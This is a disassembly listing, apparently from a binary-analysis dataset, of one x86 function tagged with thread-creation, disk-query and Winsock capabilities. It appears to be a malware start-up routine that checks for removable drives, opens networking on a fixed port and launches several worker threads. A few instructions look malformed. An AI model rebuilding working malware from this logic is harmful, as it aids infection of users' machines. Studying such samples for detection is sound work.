Function at 0x4071e0
Capabilities:
Create thread
Get disk information
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48c
push ebx
push esi
push edi
call fcn.00402b10
push 0x427aa8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x18e
xor ebx, ebx
lea ecx, [esp + 0xfe]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x104], ax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x208
lea eax, [esp + 0x28e]
xor edx, edx
push ebx
push eax
mov dword [0x427ae0], ebx
mov dword [0x427ae4], ebx
mov dword [0x427ae8], ebx
mov dword [0x427bdc], ebx
mov word [esp + 0x294], dx
call sub.msvcrt.dll_memset
lea ecx, [esp + 0x294]
add esp, 0xc
push ecx
mov eax, 0x1898b122
call fcn.00401600
add esp, 4
lea edx, [esp + 0x288]
push edx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
xor eax, eax
push 3
lea ecx, [esp + 0x2c]
push 0x427e10
push ecx
mov word [esp + 0x34], ax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov dword [esp + 0x46], eax
mov dword [esp + 0x4a], eax
mov dword [esp + 0x4e], eax
mov word [esp + 0x52], ax
call dword [sym.imp.msvcrt.dll_wcsncpy]
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add esp, 0xc
lea edx, [esp + 0x28]
push edx
call edi
cmp eax, 2
jne 0x4072d3
call fcn.00406f80
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x42801c], ebx
je 0x40730d
cmp word [0x427e10], bx
je 0x40730d
lea eax, [esp + 0x28]
push eax
call edi
cmp eax, 2
je 0x40730d
push ebx
push ebx
push 0x427e10
push 0x4054a0
push ebx
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0xf8]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00405ff0
push 0xa6
lea edx, [esp + 0x50]
push ebx
push edx
call sub.msvcrt.dll_memset
xor eax, eax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov word [esp + 0x32], ax
mov eax, dword [0x427ae0]
add esp, 0xc
or eax, dword [0x427ae4]
mov dword [esp + 0x48], 0x18273645
jne 0x407365
call section..text
mov eax, dword [0x427ad8]
lea edx, [esp + 0x4e]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x407370
mov cx, word [0x424028]
mov dl, byte [0x42402a]
mov word [esp + 0xce], cx
mov byte [esp + 0xd0], dl
call fcn.00406e60
test eax, eax
je 0x4073c2
lea eax, [esp + 0xce]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x4073a7
mov cx, word [0x42402c]
mov dl, byte [0x42402e]
mov word [eax], cx
mov byte [eax + 2], dl
mov al, byte [0x427bda]
mov cl, byte [0x426008]
push ebx
mov byte [esp + 0x50], al
mov byte [esp + 0x51], cl
call dword [sym.imp.msvcrt.dll__time64]
add esp, 4
mov edi, eax
mov dword [esp + 0x14], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
mov eax, 0x10624dd3
mul edx
shr edx, 6
sub edi, edx
mov eax, 2
push 0x162e
mov dword [esp + 0xf2], edi
mov word [esp + 0x1c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push ebx
push ebx
mov word [esp + 0x2a], ax
call edi
push ebx
push ebx
push ebx
push 0x405c80
push ebx
push ebx
mov dword [0x428028], eax
call esi
push ebx
push ebx
push ebx
push ebx
call edi
push ebx
push ebx
push ebx
push 0x406170
push ebx
push ebx
mov dword [0x428260], eax
call esi
push ebx
push ebx
push 0x427c00
push 0x408ee0
push ebx
push ebx
mov dword [0x428264], eax
call esi
mov ecx, dword [0x427e0c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push ebx
push ebx
push 1
push ebx
call edi
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x427ac0
mov dword [0x428234], eax
call edi
push ebx
push ebx
push ebx
push 0x406410
push ebx
push ebx
call esi
push 0x428248
call edi
call fcn.00402280
push ebx
push ebx
push 0x428248
push 0x402570
push ebx
push ebx
call esi
call fcn.004056b0
call fcn.00407060
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xea60
call edi
lea edx, [esp + 0x48]
push edx
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x18], ebx
call fcn.004053b0
add esp, 8
test eax, eax
jne 0x4074ed
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push ebx
push ebx
push 0x4058e0
push ebx
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
push 0x80000041
call esi
test eax, eax
jne 0x407511
push SysReAllocString
call esi
push 0xffffffffffffffff
call edi
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x407527
push eax
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret